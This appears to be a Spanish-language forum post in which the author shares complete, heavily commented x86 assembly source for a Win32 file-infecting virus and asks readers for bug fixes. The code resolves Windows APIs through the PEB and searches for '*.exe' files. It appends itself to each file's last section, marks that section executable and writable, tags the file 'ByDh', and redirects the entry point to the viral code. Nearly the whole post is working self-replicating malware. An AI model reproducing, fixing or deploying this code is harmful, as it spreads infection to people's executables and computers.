EDIT: Lo he comentado por completo, porque si no es muy difícil de leer
Código
.386 .model flat, stdcall option casemap:none assume fs:nothing .code vx_code: start_vx_code: call _delta _delta: ;Get the delta offset pop ebp sub ebp, offset _delta ;MyEntryPoint would be saved ;in HostEntryPoint if the current ;file were infected mov eax, [ebp + HostEntryPoint] mov [ebp + MyEntryPoint], eax ;Call to _GtGetProcAddress ;to find out Kernel32 base ;and GetProcAddress Address call _GtGetProcAddress mov [ebp + GtProcAdH], eax mov [ebp + Kernel32H], edx call _GtRequiredAPIs _FindFirst: ;Find first file, loading the parameters ;according to ebp, delta offset lea ebx, [ebp + win32_find_data] lea edx, [ebp + filter] push ebx push edx call [ebp + FindFirstFileAH] ;If it hasn't found any file ;return to the host file code cmp eax, -1 jz end_vx ;Else save the Handle in FileHandleFind mov [ebp + FileHandleFind], eax ;And call infect_file to try to infect it call infect_file _FindNext: ;Load the parameters for FindNextFileA and call it lea ebx, [ebp + win32_find_data] mov edx, [ebp + FileHandleFind] push ebx push edx call [ebp + FindNextFileAH] ;If it hasn't found anything else, return cmp eax, 00h jz end_vx ;Else try to infect the file call infect_file ;Search more files jmp _FindNext retn end_vx: ;If delta offset is 00h ;the virus is not running on ;another executable, so exit to OS cmp ebp, 00h jnz return retn return: ;Else access to TIB to get ;the current ImageBase mov eax, fs:[030h] mov eax,[eax + 08h] ;And add it to MyEntryPoint add [ebp + MyEntryPoint], eax ;To jump jmp dword ptr[ebp + MyEntryPoint] _procedures: _GtGetProcAddress: ;To get kernel32 ImageBase ;Looking at the PEB mov ebx, fs:[030h] mov ebx, [ebx + 0ch] mov ebx, [ebx + 0ch] mov ebx, [ebx + 00h] mov ebx, [ebx + 00h] mov eax, [ebx + 18h] ;To get export table address mov ebx, [eax + 3Ch] add ebx, eax mov ebx, [ebx + 78h] add ebx, eax ;Save that address push ebx ;Pointer to AddressOfNames mov ebx, [ebx + 20h] add ebx, eax xor edx, edx _loop: ;Each entry of AddressOfNames ;Is a pointer to one string ;which has the name of one API lea esi, [ebp + GpaName] mov edi, [ebx + edx] add edi, eax mov ecx, 0Fh add edx, 04h repz cmpsb jnz _loop sub edx, 04h ;Divide edx by 2 to use it as ;an index in AddressOfNameOrdinals ;(2 bytes by entry) shr edx, 01h ;Restore ExportTable address pop ebx ;Access to AddressOfNameOrdinals mov edi, [ebx + 24h] add edi, eax ;To get the index that is going ;to be used in AddressOfFunctions movzx edx, word ptr[edi + edx] ;Each entry is 4 bytes long shl edx, 02h ;Load AddressOfFunctions address in edi mov edi, [ebx + 1Ch] add edi, eax ;Load GetProcAddress address in edi mov edi, [edi + edx] add edi, eax ;edx = Kernel base ;eax = GetProcAddress address mov edx, eax mov eax, edi retn _GtRequiredAPIs: ;Source registry points to ApiListH (where the APIs handles will be) ;Destiny registry points to ApiListN (where the APIs names are) lea edi, [ebp + ApiListN] lea esi, [ebp + ApiListH] ;Ebx contains Kernel32 base mov ebx, [ebp + Kernel32H] GetAPI_Loop: ;Push the Kernel base and ;the API name to get its address push edi push ebx call [ebp + GtProcAdH] ;Save the adress where source registry points mov [esi], eax ;Find the next API in the list pointed by edi xor eax, eax repnz scasb ;Esi points to the next handle to fill up add esi, 04h ;If it's not the end of the list ;get the next API, else return cmp byte ptr[edi], 00h jnz GetAPI_Loop retn infect_file: ;VirusHostSize contains the size of the virus ;plus the size of the host mov ebx, VirusSize add ebx, [ebp + win32_find_data.nFileSizeLow] mov [ebp + VirusHostSize], ebx ;Open the file to read and write on it ;And shared on reading push 00h push 00h push 03h push 00h push 01h push 0C0000000h lea ebx, [ebp + win32_find_data.cFileName] push ebx call [ebp + CreateFileAH] ;If the file could not be opened ;jump to end_infect_file to search more files cmp eax, -1 jz end_infect_file ;Else save the handle in FileHandleCreate mov [ebp + FileHandleCreate], eax ;Push the file size to the stack and map the file in memory ;Eax will contain the base address of the mapped file push [ebp + win32_find_data.nFileSizeLow] call map_file_in_memory ;Is it an executable file? cmp word ptr[eax], "ZM" ;Otherwise close the handles and return jnz close_view ;Ebx contains the address where the PE files ;header begins mov ebx, [eax + 3Ch] add ebx, eax ;If it's not a PE file close the handles and return cmp word ptr[ebx], "EP" jnz close_view ;If the file is already infected ;close the handles and return cmp dword ptr[eax + 6Ch], "hDyB" jz close_view ;falignvalue will contain the FileAlignment ;and salignvalue will contain the SectionAlignment mov eax, [ebx + 3Ch] mov [ebp + falignvalue], eax mov eax, [ebx + 38h] mov [ebp + salignvalue], eax ;Get the new size of the file ;that is, the VirusHostSize rounded up ;to the FileAlignment push dword ptr[ebp + VirusHostSize] push dword ptr[ebp + falignvalue] call _alignment ;And push it to the stack push eax ;Unmap the file push [ebp + MappedFile] call [ebp + UnmapViewOfFileH] push [ebp + FileHandleMap] call [ebp + CloseHandleH] ;And map it again with the new size call map_file_in_memory ;Save the base address of the mapped file push eax ;Mark the file with the signature ByDh mov dword ptr[eax + 6Ch], "hDyB" ;Ebx contains the PE header address mov ebx, [eax + 3Ch] add ebx, eax ;Save this address push ebx ;Move to edx the size of optional header movzx edx, word ptr[ebx + 14h] ;Load in esi the address of the first structure ;of the PE Section Table ;(PEHeader + SizeOfOptionalHeader + PEHeaderSize) lea esi, [ebx + edx + 18h] ;And push it to stack to use it later push esi ;Move to ecx NumberOfSections movzx ecx, word ptr[ebx + 06h] ;And push it to stack to use it later push ecx ;Eax = 00h, and it will contain ;the highest PointerToRawData xor eax, eax _SectionsLoop: ;Compare the current biggest pointer ;with the PointerToRawData of the next section cmp [esi + 14h], eax ;If it isn't bigger jump to _notbigger jb _notbigger ;Else save ecx (index of current section) in ebx ;And move that pointer to eax mov ebx, ecx mov eax, [esi + 14h] _notbigger: ;Esi points to the next section table add esi, 28h loop _SectionsLoop ;Eax = NumberOfSections pop eax ;Subtract ebx from the NumbersOfSections ;and multiply it by 28h sub eax, ebx mov ecx, 28h mul ecx ;Restore esi (the pointer to the first table) ;and add eax to make it point to the table which has ;the highest PointerToRawData pop esi add esi, eax ;Ebx contains VirtualSize, save it into the stack mov ebx, [esi + 08h] push ebx ;New VirtualSize = Old VirtualSize + VirusSize add ebx, VirusSize mov [esi + 08h], ebx ;Eax contains the new VirtualSize ;Rounded up to FileAlignment push ebx push [ebp + falignvalue] call _alignment ;That is, it's the new SizeOfRawData ;so change it up mov [esi + 10h], eax ;ecx = Old VirtualSize ;ebx = PE Header Address pop ecx pop ebx ;Save the EntryPoint of the file ;in HostEntryPoint mov edx, [ebx + 28h] mov [ebp + HostEntryPoint], edx ;edx = VirtualAddress + VirtualSize mov edx, [esi + 0Ch] add edx, ecx ;That is, the new EntryPoint ;so change it up mov [ebx + 28h], edx ;Save PE Header Address into the stack push ebx ;eax = New VirtualSize + VirtualAddress mov eax, [esi + 08h] add eax, [esi + 0Ch] ;Get the new SizeOfImage, ;[[(VirtualSize+VirtualAddress)/0x1000]+1]*0x1000 push eax push [ebp + salignvalue] call _alignment ;Set the new SizeOfImage pop ebx mov [ebx + 50h], eax ;Last section characteristics: ;CODE|EXECUTE|READ|WRITE or dword ptr[esi + 24h], 0E0000020h ;eax = Base Address of mapped file pop eax ;ebx = PointerToRawData mov ebx, [esi + 14h] ;ebx = Base Address + PointerToRawData + Old VirtualSize lea ebx, [eax + ebx] add ebx, ecx ;Copy the virus code in the host code ;esi = beginning of the virus code ;edi = end of the last section lea esi, [ebp + start_vx_code] mov edi, ebx mov ecx, VirusSize rep movsb ;Close all the handles jmp close_all _alignment: ;The formula to align a value is: ;AlignedValue = [(Value/Alignment)+1]*Alignment ;Save the returning address in edi pop edi ;Get the value to align and the alignment pop ebx pop eax xor edx, edx div ebx cmp edx, 00h jz _align inc eax _align: xor edx, edx mul ebx ;Push the returning address ;and jump to it push edi retn map_file_in_memory: ;esi = returning address ;edi = mapping size pop esi pop edi ;Create the file mapping object push 00h push edi push 00h push 04h push 00h push [ebp + FileHandleCreate] call [ebp + CreateFileMappingAH] cmp eax, 00h jz close_file mov [ebp + FileHandleMap], eax ;And create a view of the file ;using the size in edi push edi push 0 push 0 push 000F001Fh push [ebp + FileHandleMap] call [ebp + MapViewOfFileH] cmp eax, 00h jz close_filemap mov [ebp + MappedFile], eax ;Set the returning address ;and jump to it push esi retn ;Chain of functions which close the appropiate handles close_all: close_view: push [ebp + MappedFile] call [ebp + UnmapViewOfFileH] close_filemap: push [ebp + FileHandleMap] call [ebp + CloseHandleH] close_file: push [ebp + FileHandleCreate] call [ebp + CloseHandleH] end_infect_file: retn _data: Kernel32H dd ? GtProcAdH dd ? GpaName db "GetProcAddress",0 ExitProcessN db "ExitProcess",0 ApiListN db "FindFirstFileA",0 db "FindNextFileA",0 db "CreateFileA",0 db "CreateFileMappingA",0 db "MapViewOfFile",0 db "CloseHandle",0 db "UnmapViewOfFile",0 db 0 ApiListH: FindFirstFileAH dd ? FindNextFileAH dd ? CreateFileAH dd ? CreateFileMappingAH dd ? MapViewOfFileH dd ? CloseHandleH dd ? UnmapViewOfFileH dd ? filter db "*.exe",0 FileHandleFind dd ? FileHandleCreate dd ? FileHandleMap dd ? MappedFile dd ? VirusSize equ end_vx_code - start_vx_code VirusHostSize dd ? falignvalue dd ? salignvalue dd ? HostEntryPoint dd 0 MyEntryPoint dd 0 filetime struct FT_dwLowDateTime dd ? FT_dwHighDateTime dd ? filetime ends find_data struct dwFileAttributes dd ? ftCreationTime filetime <?> ftLastAccessTime filetime <?> ftLastWriteTime filetime <?> nFileSizeHigh dd ? nFileSizeLow dd ? dwReserved0 dd ? dwReserved1 dd ? cFileName db 512 dup (?) cAlternateFileName db 14 dup (?) find_data ends win32_find_data find_data <?> end_vx_code: end vx_code
Agradecería mucho que me comentarais los muchos fallos que seguro hay.
Un saludo!